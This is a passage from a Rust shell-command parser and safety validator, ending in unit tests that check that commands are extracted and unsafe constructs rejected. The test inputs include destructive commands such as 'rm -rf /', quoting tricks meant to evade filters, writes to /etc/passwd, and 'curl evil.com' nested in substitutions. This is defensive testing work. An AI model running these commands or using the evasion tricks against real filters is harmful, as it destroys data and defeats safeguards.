968            extract_commands_from_word_string(pattern, commands)?;
969            if let Some(replacement) = replacement {
970                extract_commands_from_word_string(replacement, commands)?;
971            }
972        }
973    }
974    Some(())
975}
976
977fn extract_commands_from_compound_command(
978    compound_command: &ast::CompoundCommand,
979    commands: &mut Vec<String>,
980) -> Option<usize> {
981    match compound_command {
982        ast::CompoundCommand::BraceGroup(brace_group) => {
983            let body_start = commands.len();
984            extract_commands_from_compound_list(&brace_group.list, commands)?;
985            Some(body_start)
986        }
987        ast::CompoundCommand::Subshell(subshell) => {
988            let body_start = commands.len();
989            extract_commands_from_compound_list(&subshell.list, commands)?;
990            Some(body_start)
991        }
992        ast::CompoundCommand::ForClause(for_clause) => {
993            if let Some(words) = &for_clause.values {
994                for word in words {
995                    extract_commands_from_word(word, commands)?;
996                }
997            }
998            let body_start = commands.len();
999            extract_commands_from_do_group(&for_clause.body, commands)?;
1000            Some(body_start)
1001        }
1002        ast::CompoundCommand::CaseClause(case_clause) => {
1003            extract_commands_from_word(&case_clause.value, commands)?;
1004            let body_start = commands.len();
1005            for item in &case_clause.cases {
1006                if let Some(body) = &item.cmd {
1007                    extract_commands_from_compound_list(body, commands)?;
1008                }
1009            }
1010            Some(body_start)
1011        }
1012        ast::CompoundCommand::IfClause(if_clause) => {
1013            extract_commands_from_compound_list(&if_clause.condition, commands)?;
1014            let body_start = commands.len();
1015            extract_commands_from_compound_list(&if_clause.then, commands)?;
1016            if let Some(elses) = &if_clause.elses {
1017                for else_item in elses {
1018                    if let Some(condition) = &else_item.condition {
1019                        extract_commands_from_compound_list(condition, commands)?;
1020                    }
1021                    extract_commands_from_compound_list(&else_item.body, commands)?;
1022                }
1023            }
1024            Some(body_start)
1025        }
1026        ast::CompoundCommand::WhileClause(while_clause)
1027        | ast::CompoundCommand::UntilClause(while_clause) => {
1028            extract_commands_from_compound_list(&while_clause.0, commands)?;
1029            let body_start = commands.len();
1030            extract_commands_from_do_group(&while_clause.1, commands)?;
1031            Some(body_start)
1032        }
1033        ast::CompoundCommand::ArithmeticForClause(arith_for) => {
1034            let body_start = commands.len();
1035            extract_commands_from_do_group(&arith_for.body, commands)?;
1036            Some(body_start)
1037        }
1038        ast::CompoundCommand::Arithmetic(_arith_cmd) => Some(commands.len()),
1039    }
1040}
1041
1042fn extract_commands_from_do_group(
1043    do_group: &ast::DoGroupCommand,
1044    commands: &mut Vec<String>,
1045) -> Option<()> {
1046    extract_commands_from_compound_list(&do_group.list, commands)
1047}
1048
1049fn extract_commands_from_function_body(
1050    func_body: &ast::FunctionBody,
1051    commands: &mut Vec<String>,
1052) -> Option<()> {
1053    let body_start = extract_commands_from_compound_command(&func_body.0, commands)?;
1054    if let Some(redirect_list) = &func_body.1 {
1055        let mut normalized_redirects = Vec::new();
1056        for redirect in &redirect_list.0 {
1057            match normalize_io_redirect(redirect)? {
1058                RedirectNormalization::Normalized(s) => normalized_redirects.push(s),
1059                RedirectNormalization::Skip => {}
1060            }
1061        }
1062        if !normalized_redirects.is_empty() {
1063            if body_start >= commands.len() {
1064                return None;
1065            }
1066            commands.extend(normalized_redirects);
1067        }
1068        for redirect in &redirect_list.0 {
1069            extract_commands_from_io_redirect(redirect, commands)?;
1070        }
1071    }
1072    Some(())
1073}
1074
1075fn extract_commands_from_extended_test_expr(
1076    test_expr: &ast::ExtendedTestExprCommand,
1077    commands: &mut Vec<String>,
1078) -> Option<()> {
1079    extract_commands_from_extended_test_expr_inner(&test_expr.expr, commands)
1080}
1081
1082fn extract_commands_from_extended_test_expr_inner(
1083    expr: &ast::ExtendedTestExpr,
1084    commands: &mut Vec<String>,
1085) -> Option<()> {
1086    match expr {
1087        ast::ExtendedTestExpr::Not(inner) => {
1088            extract_commands_from_extended_test_expr_inner(inner, commands)?;
1089        }
1090        ast::ExtendedTestExpr::And(left, right) | ast::ExtendedTestExpr::Or(left, right) => {
1091            extract_commands_from_extended_test_expr_inner(left, commands)?;
1092            extract_commands_from_extended_test_expr_inner(right, commands)?;
1093        }
1094        ast::ExtendedTestExpr::Parenthesized(inner) => {
1095            extract_commands_from_extended_test_expr_inner(inner, commands)?;
1096        }
1097        ast::ExtendedTestExpr::UnaryTest(_, word) => {
1098            extract_commands_from_word(word, commands)?;
1099        }
1100        ast::ExtendedTestExpr::BinaryTest(_, word1, word2) => {
1101            extract_commands_from_word(word1, commands)?;
1102            extract_commands_from_word(word2, commands)?;
1103        }
1104    }
1105    Some(())
1106}
1107
1108#[cfg(test)]
1109mod tests {
1110    use super::*;
1111
1112    #[test]
1113    fn test_simple_command() {
1114        let commands = extract_commands("ls").expect("parse failed");
1115        assert_eq!(commands, vec!["ls"]);
1116    }
1117
1118    #[test]
1119    fn test_command_with_args() {
1120        let commands = extract_commands("ls -la /tmp").expect("parse failed");
1121        assert_eq!(commands, vec!["ls -la /tmp"]);
1122    }
1123
1124    #[test]
1125    fn test_single_quoted_argument_is_normalized() {
1126        let commands = extract_commands("rm -rf '/'").expect("parse failed");
1127        assert_eq!(commands, vec!["rm -rf /"]);
1128    }
1129
1130    #[test]
1131    fn test_single_quoted_command_name_is_normalized() {
1132        let commands = extract_commands("'rm' -rf /").expect("parse failed");
1133        assert_eq!(commands, vec!["rm -rf /"]);
1134    }
1135
1136    #[test]
1137    fn test_double_quoted_argument_is_normalized() {
1138        let commands = extract_commands("rm -rf \"/\"").expect("parse failed");
1139        assert_eq!(commands, vec!["rm -rf /"]);
1140    }
1141
1142    #[test]
1143    fn test_double_quoted_command_name_is_normalized() {
1144        let commands = extract_commands("\"rm\" -rf /").expect("parse failed");
1145        assert_eq!(commands, vec!["rm -rf /"]);
1146    }
1147
1148    #[test]
1149    fn test_escaped_argument_is_normalized() {
1150        let commands = extract_commands("rm -rf \\/").expect("parse failed");
1151        assert_eq!(commands, vec!["rm -rf /"]);
1152    }
1153
1154    #[test]
1155    fn test_partial_quoting_command_name_is_normalized() {
1156        let commands = extract_commands("r'm' -rf /").expect("parse failed");
1157        assert_eq!(commands, vec!["rm -rf /"]);
1158    }
1159
1160    #[test]
1161    fn test_partial_quoting_flag_is_normalized() {
1162        let commands = extract_commands("rm -r'f' /").expect("parse failed");
1163        assert_eq!(commands, vec!["rm -rf /"]);
1164    }
1165
1166    #[test]
1167    fn test_quoted_bypass_in_chained_command() {
1168        let commands = extract_commands("ls && 'rm' -rf '/'").expect("parse failed");
1169        assert_eq!(commands, vec!["ls", "rm -rf /"]);
1170    }
1171
1172    #[test]
1173    fn test_tilde_preserved_after_normalization() {
1174        let commands = extract_commands("rm -rf ~").expect("parse failed");
1175        assert_eq!(commands, vec!["rm -rf ~"]);
1176    }
1177
1178    #[test]
1179    fn test_quoted_tilde_normalized() {
1180        let commands = extract_commands("rm -rf '~'").expect("parse failed");
1181        assert_eq!(commands, vec!["rm -rf ~"]);
1182    }
1183
1184    #[test]
1185    fn test_parameter_expansion_preserved() {
1186        let commands = extract_commands("rm -rf $HOME").expect("parse failed");
1187        assert_eq!(commands, vec!["rm -rf $HOME"]);
1188    }
1189
1190    #[test]
1191    fn test_braced_parameter_expansion_preserved() {
1192        let commands = extract_commands("rm -rf ${HOME}").expect("parse failed");
1193        assert_eq!(commands, vec!["rm -rf ${HOME}"]);
1194    }
1195
1196    #[test]
1197    fn test_and_operator() {
1198        let commands = extract_commands("ls && rm -rf /").expect("parse failed");
1199        assert_eq!(commands, vec!["ls", "rm -rf /"]);
1200    }
1201
1202    #[test]
1203    fn test_or_operator() {
1204        let commands = extract_commands("ls || rm -rf /").expect("parse failed");
1205        assert_eq!(commands, vec!["ls", "rm -rf /"]);
1206    }
1207
1208    #[test]
1209    fn test_semicolon() {
1210        let commands = extract_commands("ls; rm -rf /").expect("parse failed");
1211        assert_eq!(commands, vec!["ls", "rm -rf /"]);
1212    }
1213
1214    #[test]
1215    fn test_pipe() {
1216        let commands = extract_commands("ls | xargs rm -rf").expect("parse failed");
1217        assert_eq!(commands, vec!["ls", "xargs rm -rf"]);
1218    }
1219
1220    #[test]
1221    fn test_background() {
1222        let commands = extract_commands("ls & rm -rf /").expect("parse failed");
1223        assert_eq!(commands, vec!["ls", "rm -rf /"]);
1224    }
1225
1226    #[test]
1227    fn test_command_substitution_dollar() {
1228        let commands = extract_commands("echo $(whoami)").expect("parse failed");
1229        assert!(commands.iter().any(|c| c.contains("echo")));
1230        assert!(commands.contains(&"whoami".to_string()));
1231    }
1232
1233    #[test]
1234    fn test_command_substitution_backticks() {
1235        let commands = extract_commands("echo `whoami`").expect("parse failed");
1236        assert!(commands.iter().any(|c| c.contains("echo")));
1237        assert!(commands.contains(&"whoami".to_string()));
1238    }
1239
1240    #[test]
1241    fn test_process_substitution_input() {
1242        let commands = extract_commands("cat <(ls)").expect("parse failed");
1243        assert!(commands.iter().any(|c| c.contains("cat")));
1244        assert!(commands.contains(&"ls".to_string()));
1245    }
1246
1247    #[test]
1248    fn test_process_substitution_output() {
1249        let commands = extract_commands("ls >(cat)").expect("parse failed");
1250        assert!(commands.iter().any(|c| c.contains("ls")));
1251        assert!(commands.contains(&"cat".to_string()));
1252    }
1253
1254    #[test]
1255    fn test_newline_separator() {
1256        let commands = extract_commands("ls\nrm -rf /").expect("parse failed");
1257        assert_eq!(commands, vec!["ls", "rm -rf /"]);
1258    }
1259
1260    #[test]
1261    fn test_subshell() {
1262        let commands = extract_commands("(ls && rm -rf /)").expect("parse failed");
1263        assert_eq!(commands, vec!["ls", "rm -rf /"]);
1264    }
1265
1266    #[test]
1267    fn test_mixed_operators() {
1268        let commands = extract_commands("ls; echo hello && rm -rf /").expect("parse failed");
1269        assert_eq!(commands, vec!["ls", "echo hello", "rm -rf /"]);
1270    }
1271
1272    #[test]
1273    fn test_no_spaces_around_operators() {
1274        let commands = extract_commands("ls&&rm").expect("parse failed");
1275        assert_eq!(commands, vec!["ls", "rm"]);
1276    }
1277
1278    #[test]
1279    fn test_nested_command_substitution() {
1280        let commands = extract_commands("echo $(cat $(whoami).txt)").expect("parse failed");
1281        assert!(commands.iter().any(|c| c.contains("echo")));
1282        assert!(commands.iter().any(|c| c.contains("cat")));
1283        assert!(commands.contains(&"whoami".to_string()));
1284    }
1285
1286    #[test]
1287    fn test_empty_command() {
1288        let commands = extract_commands("").expect("parse failed");
1289        assert!(commands.is_empty());
1290    }
1291
1292    #[test]
1293    fn test_invalid_syntax_returns_none() {
1294        let result = extract_commands("ls &&");
1295        assert!(result.is_none());
1296    }
1297
1298    #[test]
1299    fn test_unparsable_nested_substitution_returns_none() {
1300        let result = extract_commands("echo $(ls &&)");
1301        assert!(result.is_none());
1302    }
1303
1304    #[test]
1305    fn test_unparsable_nested_backtick_substitution_returns_none() {
1306        let result = extract_commands("echo `ls &&`");
1307        assert!(result.is_none());
1308    }
1309
1310    #[test]
1311    fn test_redirect_write_includes_target_path() {
1312        let commands = extract_commands("echo hello > /etc/passwd").expect("parse failed");
1313        assert_eq!(commands, vec!["echo hello", "> /etc/passwd"]);
1314    }
1315
1316    #[test]
1317    fn test_redirect_append_includes_target_path() {
1318        let commands = extract_commands("cat file >> /tmp/log").expect("parse failed");
1319        assert_eq!(commands, vec!["cat file", ">> /tmp/log"]);
1320    }
1321
1322    #[test]
1323    fn test_fd_redirect_handled_gracefully() {
1324        let commands = extract_commands("cmd 2>&1").expect("parse failed");
1325        assert_eq!(commands, vec!["cmd"]);
1326    }
1327
1328    #[test]
1329    fn test_input_redirect() {
1330        let commands = extract_commands("sort < /tmp/input").expect("parse failed");
1331        assert_eq!(commands, vec!["sort", "< /tmp/input"]);
1332    }
1333
1334    #[test]
1335    fn test_multiple_redirects() {
1336        let commands = extract_commands("cmd > /tmp/out 2> /tmp/err").expect("parse failed");
1337        assert_eq!(commands, vec!["cmd", "> /tmp/out", "2> /tmp/err"]);
1338    }
1339
1340    #[test]
1341    fn test_prefix_position_redirect() {
1342        let commands = extract_commands("> /tmp/out echo hello").expect("parse failed");
1343        assert_eq!(commands, vec!["echo hello", "> /tmp/out"]);
1344    }
1345
1346    #[test]
1347    fn test_redirect_with_variable_expansion() {
1348        let commands = extract_commands("echo > $HOME/file").expect("parse failed");
1349        assert_eq!(commands, vec!["echo", "> $HOME/file"]);
1350    }
1351
1352    #[test]
1353    fn test_output_and_error_redirect() {
1354        let commands = extract_commands("cmd &> /tmp/all").expect("parse failed");
1355        assert_eq!(commands, vec!["cmd", "&> /tmp/all"]);
1356    }
1357
1358    #[test]
1359    fn test_append_output_and_error_redirect() {
1360        let commands = extract_commands("cmd &>> /tmp/all").expect("parse failed");
1361        assert_eq!(commands, vec!["cmd", "&>> /tmp/all"]);
1362    }
1363
1364    #[test]
1365    fn test_redirect_in_chained_command() {
1366        let commands =
1367            extract_commands("echo hello > /tmp/out && cat /tmp/out").expect("parse failed");
1368        assert_eq!(commands, vec!["echo hello", "> /tmp/out", "cat /tmp/out"]);
1369    }
1370
1371    #[test]
1372    fn test_here_string_dropped_from_normalized_output() {
1373        let commands = extract_commands("cat <<< 'hello'").expect("parse failed");
1374        assert_eq!(commands, vec!["cat"]);
1375    }
1376
1377    #[test]
1378    fn test_brace_group_redirect() {
1379        let commands = extract_commands("{ echo hello; } > /etc/passwd").expect("parse failed");
1380        assert_eq!(commands, vec!["echo hello", "> /etc/passwd"]);
1381    }
1382
1383    #[test]
1384    fn test_subshell_redirect() {
1385        let commands = extract_commands("(cmd) > /etc/passwd").expect("parse failed");
1386        assert_eq!(commands, vec!["cmd", "> /etc/passwd"]);
1387    }
1388
1389    #[test]
1390    fn test_for_loop_redirect() {
1391        let commands =
1392            extract_commands("for f in *; do cat \"$f\"; done > /tmp/out").expect("parse failed");
1393        assert_eq!(commands, vec!["cat $f", "> /tmp/out"]);
1394    }
1395
1396    #[test]
1397    fn test_brace_group_multi_command_redirect() {
1398        let commands =
1399            extract_commands("{ echo hello; cat; } > /etc/passwd").expect("parse failed");
1400        assert_eq!(commands, vec!["echo hello", "cat", "> /etc/passwd"]);
1401    }
1402
1403    #[test]
1404    fn test_quoted_redirect_target_is_normalized() {
1405        let commands = extract_commands("echo hello > '/etc/passwd'").expect("parse failed");
1406        assert_eq!(commands, vec!["echo hello", "> /etc/passwd"]);
1407    }
1408
1409    #[test]
1410    fn test_redirect_without_space() {
1411        let commands = extract_commands("echo hello >/etc/passwd").expect("parse failed");
1412        assert_eq!(commands, vec!["echo hello", "> /etc/passwd"]);
1413    }
1414
1415    #[test]
1416    fn test_clobber_redirect() {
1417        let commands = extract_commands("cmd >| /tmp/file").expect("parse failed");
1418        assert_eq!(commands, vec!["cmd", ">| /tmp/file"]);
1419    }
1420
1421    #[test]
1422    fn test_fd_to_fd_redirect_skipped() {
1423        let commands = extract_commands("cmd 1>&2").expect("parse failed");
1424        assert_eq!(commands, vec!["cmd"]);
1425    }
1426
1427    #[test]
1428    fn test_bare_redirect_returns_none() {
1429        let result = extract_commands("> /etc/passwd");
1430        assert!(result.is_none());
1431    }
1432
1433    #[test]
1434    fn test_arithmetic_with_redirect_returns_none() {
1435        let result = extract_commands("(( x = 1 )) > /tmp/file");
1436        assert!(result.is_none());
1437    }
1438
1439    #[test]
1440    fn test_redirect_target_with_command_substitution() {
1441        let commands = extract_commands("echo > $(mktemp)").expect("parse failed");
1442        assert_eq!(commands, vec!["echo", "> $(mktemp)", "mktemp"]);
1443    }
1444
1445    #[test]
1446    fn test_nested_compound_redirects() {
1447        let commands = extract_commands("{ echo > /tmp/a; } > /tmp/b").expect("parse failed");
1448        assert_eq!(commands, vec!["echo", "> /tmp/a", "> /tmp/b"]);
1449    }
1450
1451    #[test]
1452    fn test_while_loop_redirect() {
1453        let commands =
1454            extract_commands("while true; do echo line; done > /tmp/log").expect("parse failed");
1455        assert_eq!(commands, vec!["true", "echo line", "> /tmp/log"]);
1456    }
1457
1458    #[test]
1459    fn test_if_clause_redirect() {
1460        let commands =
1461            extract_commands("if true; then echo yes; fi > /tmp/out").expect("parse failed");
1462        assert_eq!(commands, vec!["true", "echo yes", "> /tmp/out"]);
1463    }
1464
1465    #[test]
1466    fn test_pipe_with_redirect_on_last_command() {
1467        let commands = extract_commands("ls | grep foo > /tmp/out").expect("parse failed");
1468        assert_eq!(commands, vec!["ls", "grep foo", "> /tmp/out"]);
1469    }
1470
1471    #[test]
1472    fn test_pipe_with_stderr_redirect_on_first_command() {
1473        let commands = extract_commands("ls 2>/dev/null | grep foo").expect("parse failed");
1474        assert_eq!(commands, vec!["ls", "grep foo"]);
1475    }
1476
1477    #[test]
1478    fn test_function_definition_redirect() {
1479        let commands = extract_commands("f() { echo hi; } > /tmp/out").expect("parse failed");
1480        assert_eq!(commands, vec!["echo hi", "> /tmp/out"]);
1481    }
1482
1483    #[test]
1484    fn test_read_and_write_redirect() {
1485        let commands = extract_commands("cmd <> /dev/tty").expect("parse failed");
1486        assert_eq!(commands, vec!["cmd", "<> /dev/tty"]);
1487    }
1488
1489    #[test]
1490    fn test_case_clause_with_redirect() {
1491        let commands =
1492            extract_commands("case $x in a) echo hi;; esac > /tmp/out").expect("parse failed");
1493        assert_eq!(commands, vec!["echo hi", "> /tmp/out"]);
1494    }
1495
1496    #[test]
1497    fn test_until_loop_with_redirect() {
1498        let commands =
1499            extract_commands("until false; do echo line; done > /tmp/log").expect("parse failed");
1500        assert_eq!(commands, vec!["false", "echo line", "> /tmp/log"]);
1501    }
1502
1503    #[test]
1504    fn test_arithmetic_for_clause_with_redirect() {
1505        let commands = extract_commands("for ((i=0; i<10; i++)); do echo $i; done > /tmp/out")
1506            .expect("parse failed");
1507        assert_eq!(commands, vec!["echo $i", "> /tmp/out"]);
1508    }
1509
1510    #[test]
1511    fn test_if_elif_else_with_redirect() {
1512        let commands = extract_commands(
1513            "if true; then echo a; elif false; then echo b; else echo c; fi > /tmp/out",
1514        )
1515        .expect("parse failed");
1516        assert_eq!(
1517            commands,
1518            vec!["true", "echo a", "false", "echo b", "echo c", "> /tmp/out"]
1519        );
1520    }
1521
1522    #[test]
1523    fn test_multiple_redirects_on_compound_command() {
1524        let commands = extract_commands("{ cmd; } > /tmp/out 2> /tmp/err").expect("parse failed");
1525        assert_eq!(commands, vec!["cmd", "> /tmp/out", "2> /tmp/err"]);
1526    }
1527
1528    #[test]
1529    fn test_here_document_command_substitution_extracted() {
1530        let commands = extract_commands("cat <<EOF\n$(rm -rf /)\nEOF").expect("parse failed");
1531        assert!(commands.iter().any(|c| c.contains("cat")));
1532        assert!(commands.contains(&"rm -rf /".to_string()));
1533    }
1534
1535    #[test]
1536    fn test_here_document_quoted_delimiter_no_extraction() {
1537        let commands = extract_commands("cat <<'EOF'\n$(rm -rf /)\nEOF").expect("parse failed");
1538        assert_eq!(commands, vec!["cat"]);
1539    }
1540
1541    #[test]
1542    fn test_here_document_backtick_substitution_extracted() {
1543        let commands = extract_commands("cat <<EOF\n`whoami`\nEOF").expect("parse failed");
1544        assert!(commands.iter().any(|c| c.contains("cat")));
1545        assert!(commands.contains(&"whoami".to_string()));
1546    }
1547
1548    #[test]
1549    fn test_brace_group_redirect_with_command_substitution() {
1550        let commands = extract_commands("{ echo hello; } > $(mktemp)").expect("parse failed");
1551        assert!(commands.contains(&"echo hello".to_string()));
1552        assert!(commands.contains(&"mktemp".to_string()));
1553    }
1554
1555    #[test]
1556    fn test_function_definition_redirect_with_command_substitution() {
1557        let commands = extract_commands("f() { echo hi; } > $(mktemp)").expect("parse failed");
1558        assert!(commands.contains(&"echo hi".to_string()));
1559        assert!(commands.contains(&"mktemp".to_string()));
1560    }
1561
1562    #[test]
1563    fn test_brace_group_redirect_with_process_substitution() {
1564        let commands = extract_commands("{ cat; } > >(tee /tmp/log)").expect("parse failed");
1565        assert!(commands.contains(&"cat".to_string()));
1566        assert!(commands.contains(&"tee /tmp/log".to_string()));
1567    }
1568
1569    #[test]
1570    fn test_redirect_to_dev_null_skipped() {
1571        let commands = extract_commands("cmd > /dev/null").expect("parse failed");
1572        assert_eq!(commands, vec!["cmd"]);
1573    }
1574
1575    #[test]
1576    fn test_stderr_redirect_to_dev_null_skipped() {
1577        let commands = extract_commands("cmd 2>/dev/null").expect("parse failed");
1578        assert_eq!(commands, vec!["cmd"]);
1579    }
1580
1581    #[test]
1582    fn test_stderr_redirect_to_dev_null_with_space_skipped() {
1583        let commands = extract_commands("cmd 2> /dev/null").expect("parse failed");
1584        assert_eq!(commands, vec!["cmd"]);
1585    }
1586
1587    #[test]
1588    fn test_append_redirect_to_dev_null_skipped() {
1589        let commands = extract_commands("cmd >> /dev/null").expect("parse failed");
1590        assert_eq!(commands, vec!["cmd"]);
1591    }
1592
1593    #[test]
1594    fn test_output_and_error_redirect_to_dev_null_skipped() {
1595        let commands = extract_commands("cmd &>/dev/null").expect("parse failed");
1596        assert_eq!(commands, vec!["cmd"]);
1597    }
1598
1599    #[test]
1600    fn test_append_output_and_error_redirect_to_dev_null_skipped() {
1601        let commands = extract_commands("cmd &>>/dev/null").expect("parse failed");
1602        assert_eq!(commands, vec!["cmd"]);
1603    }
1604
1605    #[test]
1606    fn test_quoted_dev_null_redirect_skipped() {
1607        let commands = extract_commands("cmd 2>'/dev/null'").expect("parse failed");
1608        assert_eq!(commands, vec!["cmd"]);
1609    }
1610
1611    #[test]
1612    fn test_redirect_to_real_file_still_included() {
1613        let commands = extract_commands("echo hello > /etc/passwd").expect("parse failed");
1614        assert_eq!(commands, vec!["echo hello", "> /etc/passwd"]);
1615    }
1616
1617    #[test]
1618    fn test_dev_null_redirect_in_chained_command() {
1619        let commands =
1620            extract_commands("git log 2>/dev/null || echo fallback").expect("parse failed");
1621        assert_eq!(commands, vec!["git log", "echo fallback"]);
1622    }
1623
1624    #[test]
1625    fn test_mixed_safe_and_unsafe_redirects() {
1626        let commands = extract_commands("cmd > /tmp/out 2>/dev/null").expect("parse failed");
1627        assert_eq!(commands, vec!["cmd", "> /tmp/out"]);
1628    }
1629
1630    #[test]
1631    fn test_scalar_env_var_prefix_included_in_extracted_command() {
1632        let commands = extract_commands("PAGER=blah git status").expect("parse failed");
1633        assert_eq!(commands, vec!["PAGER=blah git status"]);
1634    }
1635
1636    #[test]
1637    fn test_multiple_scalar_assignments_preserved_in_order() {
1638        let commands = extract_commands("A=1 B=2 git log").expect("parse failed");
1639        assert_eq!(commands, vec!["A=1 B=2 git log"]);
1640    }
1641
1642    #[test]
1643    fn test_assignment_quoting_dropped_when_safe() {
1644        let commands = extract_commands("PAGER='curl' git log").expect("parse failed");
1645        assert_eq!(commands, vec!["PAGER=curl git log"]);
1646    }
1647
1648    #[test]
1649    fn test_assignment_quoting_preserved_for_whitespace() {
1650        let commands = extract_commands("PAGER='less -R' git log").expect("parse failed");
1651        assert_eq!(commands, vec!["PAGER='less -R' git log"]);
1652    }
1653
1654    #[test]
1655    fn test_assignment_quoting_preserved_for_semicolon() {
1656        let commands = extract_commands("PAGER='a;b' git log").expect("parse failed");
1657        assert_eq!(commands, vec!["PAGER='a;b' git log"]);
1658    }
1659
1660    #[test]
1661    fn test_array_assignments_ignored_for_prefix_matching_output() {
1662        let commands = extract_commands("FOO=(a b) git status").expect("parse failed");
1663        assert_eq!(commands, vec!["git status"]);
1664    }
1665
1666    #[test]
1667    fn test_extract_terminal_command_prefix_includes_env_var_prefix_and_subcommand() {
1668        let prefix = extract_terminal_command_prefix("PAGER=blah git log --oneline")
1669            .expect("expected terminal command prefix");
1670
1671        assert_eq!(
1672            prefix,
1673            TerminalCommandPrefix {
1674                normalized: "PAGER=blah git log".to_string(),
1675                display: "PAGER=blah git log".to_string(),
1676                tokens: vec![
1677                    "PAGER=blah".to_string(),
1678                    "git".to_string(),
1679                    "log".to_string(),
1680                ],
1681                command: "git".to_string(),
1682                subcommand: Some("log".to_string()),
1683            }
1684        );
1685    }
1686
1687    #[test]
1688    fn test_extract_terminal_command_prefix_preserves_required_assignment_quotes_in_display_and_normalized()
1689     {
1690        let prefix = extract_terminal_command_prefix("PAGER='less -R' git log")
1691            .expect("expected terminal command prefix");
1692
1693        assert_eq!(
1694            prefix,
1695            TerminalCommandPrefix {
1696                normalized: "PAGER='less -R' git log".to_string(),
1697                display: "PAGER='less -R' git log".to_string(),
1698                tokens: vec![
1699                    "PAGER='less -R'".to_string(),
1700                    "git".to_string(),
1701                    "log".to_string(),
1702                ],
1703                command: "git".to_string(),
1704                subcommand: Some("log".to_string()),
1705            }
1706        );
1707    }
1708
1709    #[test]
1710    fn test_extract_terminal_command_prefix_skips_redirects_before_subcommand() {
1711        let prefix = extract_terminal_command_prefix("git 2>/dev/null log --oneline")
1712            .expect("expected terminal command prefix");
1713
1714        assert_eq!(
1715            prefix,
1716            TerminalCommandPrefix {
1717                normalized: "git log".to_string(),
1718                display: "git 2>/dev/null log".to_string(),
1719                tokens: vec!["git".to_string(), "log".to_string()],
1720                command: "git".to_string(),
1721                subcommand: Some("log".to_string()),
1722            }
1723        );
1724    }
1725
1726    #[test]
1727    fn test_validate_terminal_command_rejects_parameter_expansion() {
1728        assert_eq!(
1729            validate_terminal_command("echo $HOME"),
1730            TerminalCommandValidation::Unsafe
1731        );
1732    }
1733
1734    #[test]
1735    fn test_validate_terminal_command_rejects_braced_parameter_expansion() {
1736        assert_eq!(
1737            validate_terminal_command("echo ${HOME}"),
1738            TerminalCommandValidation::Unsafe
1739        );
1740    }
1741
1742    #[test]
1743    fn test_validate_terminal_command_rejects_special_parameters() {
1744        assert_eq!(
1745            validate_terminal_command("echo $?"),
1746            TerminalCommandValidation::Unsafe
1747        );
1748        assert_eq!(
1749            validate_terminal_command("echo $$"),
1750            TerminalCommandValidation::Unsafe
1751        );
1752        assert_eq!(
1753            validate_terminal_command("echo $@"),
1754            TerminalCommandValidation::Unsafe
1755        );
1756    }
1757
1758    #[test]
1759    fn test_validate_terminal_command_rejects_command_substitution() {
1760        assert_eq!(
1761            validate_terminal_command("echo $(whoami)"),
1762            TerminalCommandValidation::Unsafe
1763        );
1764    }
1765
1766    #[test]
1767    fn test_validate_terminal_command_rejects_backticks() {
1768        assert_eq!(
1769            validate_terminal_command("echo `whoami`"),
1770            TerminalCommandValidation::Unsafe
1771        );
1772    }
1773
1774    #[test]
1775    fn test_validate_terminal_command_rejects_arithmetic_expansion() {
1776        assert_eq!(
1777            validate_terminal_command("echo $((1 + 1))"),
1778            TerminalCommandValidation::Unsafe
1779        );
1780    }
1781
1782    #[test]
1783    fn test_validate_terminal_command_rejects_process_substitution() {
1784        assert_eq!(
1785            validate_terminal_command("cat <(ls)"),
1786            TerminalCommandValidation::Unsafe
1787        );
1788        assert_eq!(
1789            validate_terminal_command("ls >(cat)"),
1790            TerminalCommandValidation::Unsafe
1791        );
1792    }
1793
1794    #[test]
1795    fn test_validate_terminal_command_rejects_forbidden_constructs_in_env_var_assignments() {
1796        assert_eq!(
1797            validate_terminal_command("PAGER=$HOME git log"),
1798            TerminalCommandValidation::Unsafe
1799        );
1800        assert_eq!(
1801            validate_terminal_command("PAGER=$(whoami) git log"),
1802            TerminalCommandValidation::Unsafe
1803        );
1804    }
1805
1806    #[test]
1807    fn test_validate_terminal_command_returns_unsupported_for_parse_failure() {
1808        assert_eq!(
1809            validate_terminal_command("echo $(ls &&)"),
1810            TerminalCommandValidation::Unsupported
1811        );
1812    }
1813
1814    #[test]
1815    fn test_validate_terminal_command_rejects_substitution_in_case_pattern() {
1816        assert_ne!(
1817            validate_terminal_command("case x in $(echo y)) echo z;; esac"),
1818            TerminalCommandValidation::Safe
1819        );
1820    }
1821
1822    #[test]
1823    fn test_validate_terminal_command_safe_case_clause_without_substitutions() {
1824        assert_eq!(
1825            validate_terminal_command("case x in foo) echo hello;; esac"),
1826            TerminalCommandValidation::Safe
1827        );
1828    }
1829
1830    #[test]
1831    fn test_validate_terminal_command_rejects_substitution_in_arithmetic_for_clause() {
1832        assert_ne!(
1833            validate_terminal_command("for ((i=$(echo 0); i<3; i++)); do echo hello; done"),
1834            TerminalCommandValidation::Safe
1835        );
1836    }
1837
1838    #[test]
1839    fn test_validate_terminal_command_rejects_arithmetic_for_clause_unconditionally() {
1840        assert_eq!(
1841            validate_terminal_command("for ((i=0; i<3; i++)); do echo hello; done"),
1842            TerminalCommandValidation::Unsafe
1843        );
1844    }
1845
1846    #[test]
1847    fn test_arithmetic_expansion_nested_command_substitution() {
1848        let commands = extract_commands("echo $(($(curl evil.com)))").expect("parse failed");
1849        assert!(commands.iter().any(|c| c.contains("echo")));
1850        assert!(commands.iter().any(|c| c.contains("curl")));
1851    }
1852
1853    #[test]
1854    fn test_arithmetic_expansion_nested_backtick_substitution() {
1855        let commands = extract_commands("echo $((`whoami`))").expect("parse failed");
1856        assert!(commands.iter().any(|c| c.contains("echo")));
1857        assert!(commands.contains(&"whoami".to_string()));
1858    }
1859
1860    #[test]
1861    fn test_arithmetic_expansion_without_substitution() {
1862        let commands = extract_commands("echo $((1+2))").expect("parse failed");
1863        assert_eq!(commands, vec!["echo $((1+2))"]);
1864    }
1865
1866    #[test]
1867    fn test_arithmetic_expansion_doubly_nested_command_substitution() {
1868        let commands = extract_commands("echo $(($(($(curl evil.com)))))").expect("parse failed");
1869        assert!(commands.iter().any(|c| c.contains("echo")));
1870        assert!(commands.iter().any(|c| c.contains("curl")));
1871    }
1872
1873    #[test]
1874    fn test_arithmetic_expansion_inside_double_quotes() {
1875        let commands = extract_commands("echo \"$(($(curl evil.com)))\"").expect("parse failed");
1876        assert!(commands.iter().any(|c| c.contains("echo")));
1877        assert!(commands.iter().any(|c| c.contains("curl")));
1878    }
1879
1880    #[test]
1881    fn test_parameter_expansion_default_value_extracts_command_substitution() {
1882        let commands = extract_commands("echo ${V:-$(curl evil.com)}").expect("parse failed");
1883        assert!(commands.iter().any(|c| c.contains("echo")));
1884        assert!(commands.iter().any(|c| c.contains("curl")));
1885    }
1886
